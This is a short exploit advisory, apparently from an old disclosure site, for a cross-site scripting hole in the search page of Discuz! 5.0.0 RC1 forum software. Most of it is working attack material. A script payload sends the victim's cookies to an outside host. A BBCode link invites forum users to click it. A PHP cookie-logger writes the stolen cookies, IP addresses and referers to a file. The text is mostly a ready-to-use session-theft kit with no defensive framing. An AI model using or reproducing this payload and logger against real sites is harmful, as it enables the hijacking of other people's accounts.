Xss Discuz! version 5.0.0 RC1

Xss Discuz! version 5.0.0 RC1 Author: SpiderZ Sito: http://www.spiderz.altervista.org Sito2: https://www.spiderz.netsons.org _________________________________________________________________________ Download Board : http://www.discuz.com File: usearch.html ?site=www.discuz.net&kw= Message Script: ">><script>document.location.replace('http://www.sitoweb.com/cookie.php?c='+document.cookie);</script> Message post: [url=www.sitoweb.com/usearch.html?site=www.discuz.net&kw=+ XSS]Premi qui[/url ] Cookie.php ( file.txt ) <?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('file.txt', 'a'); fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>'); fclose($fp); ?>